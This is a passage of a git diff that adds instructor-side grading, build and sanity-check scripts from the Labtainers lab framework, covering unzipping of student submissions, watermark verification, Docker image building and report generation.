uniquejson[email_labname]['unique'] = copy.deepcopy(uniquevalues) + else: + if uniquejson[email_labname]['unique'] != {}: + # Already have that student's unique values stored + logger.ERROR("instructor.py store_student_unique: duplicate email_labname %s unique %s" % (email_labname, uniquevalues)) + sys.exit(1) + else: + uniquejson[email_labname]['unique'] = copy.deepcopy(uniquevalues) + + +# Make sure second level zip file e-mail is OK +def Check_SecondLevel_EmailWatermark_OK(gradesjson, email_labname, student_id, zipoutput): + check_result = True + TMPDIR = "/tmp/labtainer" + TempEmailFile = "%s/.local/.email" % TMPDIR + TempWatermarkFile = "%s/.local/.watermark" % TMPDIR + TempSeedFile = "%s/.local/.seed" % TMPDIR + # Remove Temporary Email file first then extract + try: + os.remove(TempEmailFile) + os.remove(TempWatermarkFile) + os.remove(TempSeedFile) + except OSError: + pass + + # Do not extract unnecessarily + for zi in zipoutput.infolist(): + zname = zi.filename + if zname == ".local/.email" or zname == ".local/.seed" or zname == ".local/.watermark": + zipoutput.extract(zi, TMPDIR) + + with open(TempEmailFile) as fh: + student_id_from_file = fh.read().strip().replace("@","_at_") + + # Student ID obtained from zip_file_name must match the one from E-mail file + if not all(c in string.printable for c in student_id_from_file): + student_id_from_file = 'not_printable' + if student_id != student_id_from_file: + print "mismatch student_id is (%s) student_id_from_file is (%s)" % (student_id, student_id_from_file) + store_student_secondlevelzip(gradesjson, email_labname, student_id_from_file) + #check_result = False + + if os.path.exists(TempWatermarkFile): + with open(TempWatermarkFile) as fh: + actual_watermark = fh.read().strip() + + # Create watermark from hash of lab_instance_seed and the watermark string + with open(TempSeedFile) as fh: + seed_from_file = fh.read().strip() + + the_watermark_string = "LABTAINER_WATERMARK1" + string_to_be_hashed = '%s:%s' % (seed_from_file, the_watermark_string) + mymd5 = md5.new() + mymd5.update(string_to_be_hashed) + expected_watermark = mymd5.hexdigest() + #print expected_watermark + + # Watermark must match + if actual_watermark != expected_watermark: + #print "mismatch actual is (%s) expected is (%s)" % (actual_watermark, expected_watermark) + check_result = False + # Store the actual and expected watermark regardless + # So that when generating report, we can figure out the 'source' + store_student_watermark(gradesjson, email_labname, actual_watermark, expected_watermark) + + return check_result + +# Usage: Instructor.py +# Arguments: +# check_watermark - whether to do watermark checks or not +def main(): + #print "Running Instructor.py" + # + # TBD clean this up, break out routines. impossible to follow. + # + + logger.INFO("Begin logging instructor.py") + + # Default to check_watermark to True + check_watermark = True + logger.DEBUG('MYHOME is %s' % MYHOME) + os.chdir(MYHOME) + lab_name_dir = os.path.join(MYHOME,'.local','.labname') + if not os.path.isfile(lab_name_dir): + logger.ERROR('no file at %s, perhaps running instructor script on wrong containers?' % lab_name_dir) + sys.exit(1) + + with open(lab_name_dir) as fh: + lab_id_name = fh.read().strip() + check_watermark_argument=None + if len(sys.argv) > 1: + check_watermark_argument = str(sys.argv[1]).upper() + + if check_watermark_argument == "TRUE": + check_watermark = True + elif check_watermark_argument == "FALSE": + check_watermark = False + else: + logger.ERROR('Usage: instructor.py "[True|False]"') + exit(1) + + # is this used? + InstructorBaseDir = os.path.join(MYHOME, '.local', 'base') + + ''' dictionary of container lists keyed by student email_labname ''' + student_list = {} + + # Store grades, goals, etc + gradesjson = {} + # Store Unique checks, etc + uniquejson = {} + + ''' remove zip files in /tmp/labtainer directory ''' + # /tmp/labtainer will be used to store temporary zip files + TMPDIR = "/tmp/labtainer" + if os.path.exists(TMPDIR): + # exists but is not a directory + if not os.path.isdir(TMPDIR): + # remove file then create directory + os.remove(TMPDIR) + os.makedirs(TMPDIR) + else: + # does not exists, create directory + os.makedirs(TMPDIR) + for tmpzip in glob.glob("%s/*.zip" % TMPDIR): + os.remove(tmpzip) + + ''' unzip everything ''' + ''' First level unzip ''' + zip_files = glob.glob(MYHOME+'/*.zip') + first_level_zip = [] + for zfile in zip_files: + zip_file_name = os.path.basename(zfile) + if zip_file_name.startswith('bulk_download'): + continue + orig_email_labname, orig_zipext = zip_file_name.rsplit('.', 1) + first_level_zip.append(zip_file_name) + OutputName = os.path.join(MYHOME, zip_file_name) + zipoutput = zipfile.ZipFile(OutputName, "r") + ''' retain dates of student files ''' + for zi in zipoutput.infolist(): + zname = zi.filename + if not (zname.endswith('.zip') or \ + zname.endswith('.log') or \ + zname.endswith('.json')): + continue + if '=' in zname: + second_email_labname, second_containername = zname.rsplit('=', 1) + # Mismatch e-mail name at first level + if orig_email_labname != second_email_labname: + store_student_firstlevelzip(gradesjson, orig_email_labname, second_email_labname) + # DO NOT process that student's zip file any further, i.e., DO NOT extract + print('DO NOT process that students zip file any further, i.e., DO NOT extract') + continue + zipoutput.extract(zi, TMPDIR) + date_time = time.mktime(zi.date_time + (0, 0, -1)) + dest = os.path.join(TMPDIR, zi.filename) + os.utime(dest, (date_time, date_time)) + zipoutput.close() + # Add docs.zip as a file to skip also + first_level_zip.append('docs.zip') + + ''' Second level unzip ''' + zip_files = glob.glob(TMPDIR+'/*.zip') + for zfile in zip_files: + zip_file_name = os.path.basename(zfile) + # Skip first level zip files + if zip_file_name in first_level_zip: + continue + #print('zipfile is %s' % zip_file_name) + DestinationDirName = os.path.splitext(zip_file_name)[0] + if '=' in DestinationDirName: + # NOTE: New format has DestinationDirName as: + # e-mail+labname '=' containername + # get email_labname and containername + email_labname, containername = DestinationDirName.rsplit('=', 1) + # Replace the '=' to '/' + DestinationDirName = '%s/%s' % (email_labname, containername) + #print email_labname + else: + # Old format - no containername + logger.ERROR("Instructor.py old format (no containername) no longer supported!\n") + return 1 + student_id = email_labname.rsplit('.', 1)[0] + #print "student_id is %s" % student_id + logger.DEBUG("student_id is %s" % student_id) + OutputName = '%s/%s' % (TMPDIR, zip_file_name) + lab_dir_name = os.path.join(MYHOME, email_labname) + DestDirName = os.path.join(MYHOME, DestinationDirName) + InstDirName = os.path.join(InstructorBaseDir, DestinationDirName) + src_count_path = os.path.join(TMPDIR, 'count.json') + dst_count_path = LabCount.getPath(lab_dir_name, lab_id_name) + #print('dst_count_path is %s' % dst_count_path) + if os.path.isfile(src_count_path): + # ad-hoc fix to remnants of old bug, remove this + if os.path.isdir(dst_count_path): + logger.WARNING('removing errored directory %s' % dst_count_path) + shutil.rmtree(dst_count_path) + parent = os.path.dirname(dst_count_path) + #print('parent %s' % parent) + try: + os.makedirs(parent) + except: + pass + #print('found count.json') + shutil.copyfile(src_count_path, dst_count_path) + + #print "Student Lab list : " + #print studentslablist + + if os.path.exists(DestDirName): + #print "Removing %s" % DestDirName + os.system('rm -rf %s' % DestDirName) + + zipoutput = zipfile.ZipFile(OutputName, "r") + + # Do Watermark checks only if check_watermark is True + if check_watermark: + # If e-mail mismatch, do not further extract the zip file + if not Check_SecondLevel_EmailWatermark_OK(gradesjson, email_labname, student_id, zipoutput): + # continue with next one + continue + + # If no problem with e-mail, then continue processing + if email_labname not in student_list: + student_list[email_labname] = [] + student_list[email_labname].append(containername) + #print('append container %s for student %s' % (containername, email_labname)) + logger.DEBUG('append container %s for student %s' % (containername, email_labname)) + + ''' retain dates of student files ''' + for zi in zipoutput.infolist(): + zipoutput.extract(zi, DestDirName) + date_time = time.mktime(zi.date_time + (0, 0, -1)) + dest = os.path.join(DestDirName, zi.filename) + os.utime(dest, (date_time, date_time)) + + zipoutput.close() + + pregrade_script = os.path.join(MYHOME,'.local','instr_config', 'pregrade.sh') + do_pregrade = False + if os.path.isfile(pregrade_script): + do_pregrade = True + unique_check = os.path.join(MYHOME,'.local','instr_config', 'unique.config') + do_unique = False + if os.path.isfile(unique_check): + do_unique = True + ''' create per-student goals.json and process results for each student ''' + for email_labname in student_list: + # GoalsParser is now tied per student - do this after unzipping file + # Call GoalsParser script to parse 'goals' + ''' note odd hack, labinstance seed is stored on container, so need to fine one, use first ''' + DestinationDirName = '%s/%s' % (email_labname, student_list[email_labname][0]) + DestDirName =os.path.join(MYHOME, DestinationDirName) + # TBD also getting what, student parameters from first container. + # Better way to get instr_config files than do duplicate on each container? Just put on grader? + student_parameter = GoalsParser.ParseGoals(MYHOME, DestDirName, logger) + + if do_pregrade: + ''' invoke pregrade for each container ''' + for container in student_list[email_labname]: + dest = os.path.join(email_labname, container) + cmd = '%s %s %s' % (pregrade_script, MYHOME, dest) + logger.DEBUG('invoke pregrade script %s' % cmd) + os.system(cmd) + + ''' backward compatible for test sets ''' + for container in student_list[email_labname]: + dest = os.path.join(email_labname, container) + look_for = dest+'/.local/result/checklocal*' + check_local_list = glob.glob(look_for) + for cl in check_local_list: + newname = cl.replace('checklocal', 'precheck') + shutil.move(cl, newname) + + # Call ResultParser script to parse students' result + lab_dir_name = os.path.join(MYHOME, email_labname) + #print('call ResultParser for %s %s' % (email_labname, student_list[email_labname])) + logger.DEBUG('call ResultParser for %s %s' % (email_labname, student_list[email_labname])) + ResultParser.ParseStdinStdout(MYHOME, lab_dir_name, student_list[email_labname], InstDirName, lab_id_name, logger) + + # Add student's parameter + store_student_parameter(gradesjson, email_labname, student_parameter) + + if do_unique: + #print('call UniqueCheck for %s %s' % (email_labname, student_list[email_labname])) + logger.DEBUG('call UniqueCheck for %s %s' % (email_labname, student_list[email_labname])) + uniquevalues = UniqueCheck.UniqueCheck(MYHOME, lab_dir_name, student_list[email_labname], InstDirName, lab_id_name, logger) + # Add student's unique check + store_student_unique(uniquejson, email_labname, uniquevalues) + + ''' assess the results and generate simple report ''' + for email_labname in student_list: + lab_dir_name = os.path.join(MYHOME, email_labname) + grades = Grader.ProcessStudentLab(lab_dir_name, lab_id_name, logger) + student_id = email_labname.rsplit('.', 1)[0] + LabIDStudentName = '%s : %s : ' % (lab_id_name, student_id) + + # Add student's grades + store_student_grades(gradesjson, email_labname, grades) + + # Add student's lab counter (if exists) + student_lab_count = LabCount.getLabCount(lab_dir_name, lab_id_name, logger) + store_student_labcount(gradesjson, email_labname, student_lab_count) + + #print "grades (in JSON) is " + #print gradesjson + + # Output .grades.json + gradesjsonname = os.path.join(MYHOME, "%s.grades.json" % lab_id_name) + gradesjsonoutput = open(gradesjsonname, "w") + try: + jsondumpsoutput = json.dumps(gradesjson, indent=4) + except: + print('json dumps failed on %s' % gradesjson) + exit(1) + #print('dumping %s' % str(jsondumpsoutput)) + gradesjsonoutput.write(jsondumpsoutput) + gradesjsonoutput.write('\n') + gradesjsonoutput.close() + + if do_unique: + # Output .unique.json + uniquejsonname = os.path.join(MYHOME, "%s.unique.json" % lab_id_name) + uniquejsonoutput = open(uniquejsonname, "w") + try: + jsondumpsoutput = json.dumps(uniquejson, indent=4) + except: + print('json dumps failed on %s' % uniquejson) + exit(1) + #print('dumping %s' % str(jsondumpsoutput)) + uniquejsonoutput.write(jsondumpsoutput) + uniquejsonoutput.write('\n') + uniquejsonoutput.close() + + # Output .grades.txt + gradestxtname = os.path.join(MYHOME, "%s.grades.txt" % lab_id_name) + GenReport.CreateReport(gradesjsonname, gradestxtname, check_watermark) + if do_unique: + GenReport.UniqueReport(uniquejsonname, gradestxtname) + + # Inform user where the 'grades.txt' are created + print "Grades are stored in '%s'" % gradestxtname + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/rootprofile.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/rootprofile.sh new file mode 100755 index 000000000..4b010cb46 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/rootprofile.sh @@ -0,0 +1,2 @@ +#!/bin/bash +echo "su - instructor" >> /root/.profile diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/save.instructor.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/save.instructor.sh new file mode 100755 index 000000000..86abd3046 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/save.instructor.sh @@ -0,0 +1,12 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +timestamp=$(date +"%Y%m%d%H%M%S") +tar -zcvf xfer.instructor.$timestamp.tar.gz `ls -d * .local | egrep -v tar.gz` diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/startup.sh new file mode 100755 index 000000000..5fba3b605 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/startup.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# startup.sh +# Arguments: None +# +# Usage: startup.sh +# +# Description: run instructor.py to auto grading and display .grades.txt + +grade_container="$HOME"/.local/.is_grade_container +LOCKDIR=/tmp/.mylockdir +if mkdir "$LOCKDIR" >/dev/null 2>&1; then + if [ -f $grade_container ]; then + $HOME/.local/bin/instructor.py + cat "$HOME"/*.grades.txt | less + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/buildInstructorImage.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/buildInstructorImage.sh new file mode 100755 index 000000000..e93d59278 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/buildInstructorImage.sh @@ -0,0 +1,134 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Build an instructor container image for a given lab. +# First copies all required files to a staging directory in /tmp +# + +lab=$1 +imagename=$2 +labimage=$lab.$imagename.instructor +user_name=$3 +user_password=$4 +force_build=$5 +LAB_TOP=$6 +APT_SOURCE=$7 +REGISTRY=$8 +VERSION=$9 +shift 1 +NO_PULL=$9 +#------------------------------------V +if [ "$#" -ne 9 ]; then + echo "Usage: buildImage.sh " + echo " is either true or false" + echo " is a path to the trunk/labs directory" + echo " is the host to use in apt/sources.list" + echo " is a docker registry" + echo " is the framework version needed to run this lab" + echo " is 'True' to avoid pulling images, e.g., no internet acess" + exit +fi +echo "LAB_TOP is $LAB_TOP" +echo "Labname is $lab with image name $imagename" + +LAB_DIR=$LAB_TOP/$lab +if [ ! -d $LAB_DIR ]; then + echo "$LAB_DIR not found as a lab directory" + exit +fi + +#-----------------------------------V +if [ "$force_build" == "False" ]; then + echo docker pull $REGISTRY/$labimage + docker pull $REGISTRY/$labimage + result=$? +fi +if [ "$result" == "0" ] && [ $force_build = "False" ]; then + imagecheck="YES" +else + LABIMAGE_DIR=$LAB_TOP/$lab/$imagename/ + if [ ! -d $LABIMAGE_DIR ]; then + echo "$LABIMAGE_DIR not found" + exit + fi + ORIG_PWD=`pwd` + echo $ORIG_PWD + ../labtainer-student/bin/checkTars.py $LAB_DIR $imagename + LAB_TAR=$LAB_DIR/$labimage.tar.gz + SYS_TAR=$LAB_DIR/sys_$labimage.tar.gz + TMP_DIR=/tmp/$labimage + rm -rf $TMP_DIR + mkdir $TMP_DIR + mkdir $TMP_DIR/.local + mkdir $TMP_DIR/.local/result + mkdir $TMP_DIR/.local/base + mkdir $TMP_DIR/.local/instr_config + mkdir $TMP_DIR/.local/config + + cp -r assess_bin $TMP_DIR/.local/bin + cp $LAB_DIR/bin/* $TMP_DIR/.local/bin 2>>/dev/null + cp ../labtainer-student/lab_bin/ParameterParser.py $TMP_DIR/.local/bin/ + cp ../labtainer-student/lab_bin/ParameterizeLogging.py $TMP_DIR/.local/bin/ + cp $LABIMAGE_DIR/_bin/* $TMP_DIR/.local/bin 2>>/dev/null + chmod a+x $TMP_DIR/.local/bin/* + cp -r $LABIMAGE_DIR/. $TMP_DIR 2>>/dev/null + # ugly! + rm -fr $TMP_DIR/_bin + rm -fr $TMP_DIR/_system + rm -fr $TMP_DIR/home_tar + rm -fr $TMP_DIR/sys_tar + if [ -d $LABIMAGE_DIR/_system ]; then + cd $LABIMAGE_DIR/_system + tar --atime-preserve -zcvf $SYS_TAR . > $TMP_DIR/.local/sys_manifest.list + else + echo nothing at $LABIMAGE_DIR/_system + mkdir $LABIMAGE_DIR/_system + cd $LABIMAGE_DIR/_system + tar --atime-preserve -zcvf $SYS_TAR . + fi + # do after sys so we get manifest + cd $TMP_DIR + tar --atime-preserve -zcvf $LAB_TAR . +fi +cd $LAB_TOP +dfile=Dockerfile.$labimage +full_dfile=$LAB_DIR/dockerfiles/$dfile +echo "full_file is $full_dfile" +if [ ! -f $full_dfile ]; then + full_dfile=${full_dfile/instructor/student} + echo "full_file now is $full_dfile" +fi + +pull="--pull" +if [ "$NO_PULL" == "True" ]; then + pull='' +fi +if [ ! -z "$imagecheck" ] && [ $force_build = "False" ]; then + echo "use existing image" +# docker build $pull -f $LAB_DIR/dockerfiles/tmp/$dfile.tmp \ +# --build-arg https_proxy=$HTTP_PROXY --build-arg http_proxy=$HTTP_PROXY \ +# --build-arg HTTP_PROXY=$HTTP_PROXY --build-arg HTTPS_PROXY=$HTTP_PROXY \ +# --build-arg NO_PROXY=$NO_PROXY --build-arg no_proxy=$NO_PROXY \ +# --build-arg registry=$REGISTRY --build-arg version=$VERSION \ +# -t $labimage . +else + docker build --build-arg lab=$labimage --build-arg labdir=$lab --build-arg imagedir=$imagename \ + --build-arg user_name=$user_name --build-arg password=$user_password --build-arg apt_source=$APT_SOURCE \ + --build-arg https_proxy=$HTTP_PROXY --build-arg http_proxy=$HTTP_PROXY \ + --build-arg HTTP_PROXY=$HTTP_PROXY --build-arg HTTPS_PROXY=$HTTP_PROXY \ + --build-arg NO_PROXY=$NO_PROXY --build-arg no_proxy=$NO_PROXY \ + --build-arg registry=$REGISTRY --build-arg version=$VERSION \ + $pull -f $full_dfile -t $labimage . +fi +#--------------------------------^ +echo "removing temporary $dfile, reference original in $LAB_DIR/dockerfiles/$dfile" + +cd $ORIG_PWD diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/checklab.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/checklab.py new file mode 100755 index 000000000..90db4bc72 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/checklab.py @@ -0,0 +1,193 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Filename: checklab.py +# Description: +# To be run by the instructor to do sanity checks. +# Note: +# 1. It needs 'start.config' file, where +# is given as a parameter to the script. +# + +import getpass +import glob +import json +import md5 +import os +import sys +import shutil +import stat + +instructor_cwd = os.getcwd() +instructor_bin = os.path.join(instructor_cwd, 'assess_bin') +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +student_bin = os.path.join(student_cwd, 'lab_bin') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +sys.path.append(student_bin) +sys.path.append(instructor_bin) + +import evalExpress +import labutils +import logging +import LabtainerLogging +import ParseStartConfig + +def check_cmdinit(filename): + cmdinit_found = False + cmdinit_string = '["/usr/sbin/init"]' + with open(filename, "r") as fh: + filelines = fh.readlines() + for line in filelines: + if "CMD" in line: + splitline = line.split() + if (splitline[0] == "CMD" and splitline[1] == cmdinit_string): + cmdinit_found = True + break + return cmdinit_found + +def check_dockerfile_base(filename, basestring): + base_found = False + sourcebasestring = "mfthomps/%s" % basestring + with open(filename, "r") as fh: + filelines = fh.readlines() + for line in filelines: + if sourcebasestring in line: + splitline = line.split() + if (splitline[0] == "FROM" and splitline[1] == sourcebasestring): + base_found = True + break + return base_found + +def VerifyBashScriptExecutable(lab_path, labname, logger): + bashfilepath = "%s/*/_bin/*.sh" % lab_path + bashfiles = glob.glob(bashfilepath) + for eachfile in bashfiles: + f_stat = os.stat(eachfile) + if not f_stat.st_mode & stat.S_IXUSR: + logger.WARNING("File (%s) not executable!\n" % eachfile) + + +def VerifyDockerVsStartConfig(lab_path, labname, logger): + config_path = os.path.join(lab_path,"config") + start_config_path = os.path.join(config_path,"start.config") + start_config = ParseStartConfig.ParseStartConfig(start_config_path, labname, "instructor", labutils.logger) + + dockerfilepath = "%s/dockerfiles/Dockerfile.%s.*" % (lab_path, labname) + dockerfiles = glob.glob(dockerfilepath) + # Verify each dockerfile separately + for eachfile in dockerfiles: + basefilename = os.path.basename(eachfile).split('.') + mycontainername = basefilename[2] + uses_labtainer_firefox = check_dockerfile_base(eachfile, "labtainer.firefox") + uses_labtainer_java = check_dockerfile_base(eachfile, "labtainer.java") + uses_labtainer_centos = check_dockerfile_base(eachfile, "labtainer.centos") + uses_labtainer_lamp = check_dockerfile_base(eachfile, "labtainer.lamp") + if (uses_labtainer_centos or uses_labtainer_lamp): + for container_name, container in start_config.containers.items(): + if mycontainername == container_name: + if not (container.script == "" or container.script == "none"): + logger.WARNING("Expecting SCRIPT NONE setting for labtainer.centos or labtainer.lamp!\n") + + has_cmd_init = check_cmdinit(eachfile) + if not has_cmd_init: + logger.WARNING('Expecting (CMD ["/usr/sbin/init"]) setting for labtainer.centos or labtainer.lamp!\n') + + if (uses_labtainer_firefox or uses_labtainer_java): + for container_name, container in start_config.containers.items(): + if mycontainername == container_name: + if not (container.x11 == "yes"): + logger.WARNING("Expecting X11 YES setting for labtainer.firefox or labtainer.java!\n") + + +def VerifyHomeTar(lab_path, labname, logger): + hometar = "%s/*/home_tar/home.tar" % lab_path + logger.DEBUG("home tar (%s)" % hometar) + hometarlist = glob.glob(hometar) + logger.DEBUG("home tar list (%s)" % hometarlist) + + for eachhometar in hometarlist: + pathsplit = eachhometar.split(lab_path) + hometarsplit = pathsplit[1].split('/') + container = hometarsplit[1] + dockerfilestudent = "%s/dockerfiles/Dockerfile.%s.%s.student" % (lab_path, labname, container) + if not (os.path.exists(dockerfilestudent) and os.path.isfile(dockerfilestudent)): + sys.stderr.write("Dockerfile %s missing!\n" % dockerfilestudent) + sys.exit(1) + tarlinefound = False + with open(dockerfilestudent, "r") as fh: + filelines = fh.readlines() + for line in filelines: + if "home.tar" in line: + linesplit = line.split() + if (linesplit[0] == "ADD" and + linesplit[1] == "$labdir/$imagedir/home_tar/home.tar" and + linesplit[2] == "$HOME"): + tarlinefound = True + break + if not tarlinefound: + logger.WARNING("Expecting line (ADD $labdir/$imagedir/home_tar/home.tar $HOME) in Dockerfile!\n") + +def VerifySysTar(lab_path, labname, logger): + systar = "%s/*/sys_tar/sys.tar" % lab_path + logger.DEBUG("sys tar (%s)" % systar) + systarlist = glob.glob(systar) + logger.DEBUG("sys tar list (%s)" % systarlist) + + for eachsystar in systarlist: + pathsplit = eachsystar.split(lab_path) + systarsplit = pathsplit[1].split('/') + container = systarsplit[1] + dockerfilestudent = "%s/dockerfiles/Dockerfile.%s.%s.student" % (lab_path, labname, container) + if not (os.path.exists(dockerfilestudent) and os.path.isfile(dockerfilestudent)): + sys.stderr.write("Dockerfile %s missing!\n" % dockerfilestudent) + sys.exit(1) + tarlinefound = False + with open(dockerfilestudent, "r") as fh: + filelines = fh.readlines() + for line in filelines: + if "sys.tar" in line: + linesplit = line.split() + if (linesplit[0] == "ADD" and + linesplit[1] == "$labdir/$imagedir/sys_tar/sys.tar" and + linesplit[2] == "/"): + tarlinefound = True + break + if not tarlinefound: + logger.WARNING("Expecting line (ADD $labdir/$imagedir/sys_tar/sys.tar /) in Dockerfile!\n") + + +def DoSaneChecks(lab_path, labname, logger): + labutils.is_valid_lab(lab_path) + + VerifyHomeTar(lab_path, labname, logger) + VerifySysTar(lab_path, labname, logger) + VerifyDockerVsStartConfig(lab_path, labname, logger) + VerifyBashScriptExecutable(lab_path, labname, logger) + + +# Usage: checklab.py +def main(): + num_args = len(sys.argv) + if num_args != 2: + sys.stderr.write("Usage: checklab.py \n") + sys.exit(1) + labname = sys.argv[1] + + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging checklab.py for %s lab" % labname) + labutils.logger.DEBUG("Instructor CWD = (%s), Student CWD = (%s)" % (instructor_cwd, student_cwd)) + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + DoSaneChecks(lab_path, labname, labutils.logger) + return 0 + +if __name__ == '__main__': + sys.exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/configtest.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/configtest.py new file mode 100755 index 000000000..eb234c33d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/configtest.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Filename: configtest.py +# Description: +# Validate a set of configuration files against expected results. +# This script will invoke validate.py script +# +# + +import subprocess +import sys +import os +instructor_cwd = os.getcwd() +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +import labutils +import logging +import LabtainerLogging + +CONFIGTEST_ROOT = os.path.abspath('../../testsets/validate') + +def usage(): + sys.stderr.write("Usage: configtest.py\n") + sys.exit(1) + +# Usage: configtest.py +# Arguments: None +def main(): + labnamelist = [] + num_args = len(sys.argv) + if num_args == 1: + labnamelist = os.listdir(CONFIGTEST_ROOT) + else: + usage() + + #labnamelist = [] + #labnamelist.append("results_check_00011") + dir_path = os.path.dirname(os.path.realpath(__file__)) + dir_path = dir_path[:dir_path.index("bin")] + + found_error = False + for labname in sorted(labnamelist): + labutils.logger = LabtainerLogging.LabtainerLogging("configtest.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging configtest.py for %s lab" % labname) + labutils.logger.DEBUG("Current test name is (%s)" % labname) + fulllabname = os.path.join(CONFIGTEST_ROOT, labname) + + if os.path.isdir(fulllabname): + labutils.logger.DEBUG("(%s) is directory - assume (%s) is a labname" % (fulllabname, labname)) + + # ConfigTest will do following: + # 1. Invoke validate.py against the lab - should create a labtainer.log file + # 2. Get the last line from labtainer.log (lastline) + # 3. Compare lastline against expected.log + command = "validate.py -c %s > /dev/null" % labname + #os.system(command) + result = subprocess.call(command, shell=True, stderr=subprocess.PIPE) + expectedlog = os.path.join(fulllabname, "expected.log") + labtainerlog = os.path.join(dir_path, "labtainer.log") + fh = open(expectedlog, 'r') + for line in fh: + pass + expectedlogline = line.strip().split(']') + fh.close() + fh = open(labtainerlog, 'r') + for line in fh: + pass + labtainerlogline = line.strip().split(']') + fh.close() + expected_string = expectedlogline[1] + labtainer_string = labtainerlogline[1] + labutils.logger.DEBUG("expected_string is (%s)" % expected_string) + labutils.logger.DEBUG("labtainer_string is (%s)" % labtainer_string) + + if expected_string != labtainer_string: + labutils.logger.ERROR("validate (%s) fails!" % labname) + labutils.logger.ERROR("expected string (%s)" % expected_string.strip()) + labutils.logger.ERROR("got this string (%s) instead!" % labtainer_string.strip()) + found_error = True + break + + + if found_error: + labutils.logger.ERROR("Validate test encountered an error!") + else: + # No error + labutils.logger.DEBUG("NO ERROR found") + print "NO ERROR found" + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/gradelab b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/gradelab new file mode 100755 index 000000000..9c04b4b97 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/gradelab @@ -0,0 +1,353 @@ +#!/usr/bin/env python +import sys +import os +import shutil +import argparse +import subprocess +import shlex +import pydoc +import getpass +import glob +import zipfile +import time +import saki +import ParseLabtainerConfig + +instructor_cwd = os.getcwd() +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +sys.path.append(os.path.join(instructor_cwd, 'assess_bin')) +import labutils +import logging +import LabtainerLogging +import docgoals +FAILURE=1 +# Copy Students' Artifacts from host to instructor's lab container +def CopyStudentArtifacts(labtainer_config, container_name, labname, regress_test, check_watermark): + # Set the lab name + command = 'docker exec %s script -q -c "mkdir -p /home/instructor/.local" /dev/null' % (container_name) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call CopyStudentArtifacts set labname is %s (1=>FAILURE)" % result) + if result == FAILURE: + logger.ERROR("Failed to set labname in container %s!\n" % container_name) + sys.exit(1) + + command = 'docker exec %s script -q -c "echo %s > /home/instructor/.local/.labname" /dev/null' % (container_name, labname) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call CopyStudentArtifacts set labname is %s 